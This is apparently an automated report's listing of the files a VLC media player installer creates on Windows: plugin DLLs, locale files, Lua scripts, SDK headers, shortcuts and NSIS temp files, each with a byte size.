%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\ioSpecial.ini (12149 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (372030 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFC88.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (330807 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
